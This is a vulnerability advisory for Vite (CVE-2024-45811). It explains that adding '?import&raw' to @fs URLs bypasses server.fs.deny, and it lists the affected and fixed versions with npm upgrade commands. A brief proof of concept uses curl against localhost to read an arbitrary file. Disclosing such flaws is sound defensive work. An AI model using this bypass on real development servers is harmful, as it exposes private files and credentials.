vite
Affected
- introduced
5.4.0, fixed5.4.6(semver)
Fixed versions
5.4.6
Fix
- Fixed version
5.4.6npm install [email protected]
Advisory
Also known as: CVE-2024-45811
Vite's server.fs.deny is bypassed when using ?import&raw
Summary
The contents of arbitrary files can be returned to the browser.
Details@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.
PoC
$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev
$ echo "top secret content" > /tmp/secret.txt
# expected behaviour
$ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body>
<h1>403 Restricted</h1>
<p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
# security bypassed
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...Medium Basis: The source's own band: MODERATE
5.4.0, fixed 5.4.6 (semver)5.4.6
5.4.6npm install [email protected]5.3.0, fixed 5.3.6 (semver)5.3.6
5.3.6npm install [email protected]5.2.0, fixed 5.2.14 (semver)5.2.14
5.2.14npm install [email protected]4.0.0, fixed 4.5.4 (semver)4.5.4
4.5.4npm install [email protected]0, fixed 3.2.11 (semver)3.2.11
3.2.11npm install [email protected]5.0.0, fixed 5.1.8 (semver)5.1.8
5.1.8npm install [email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0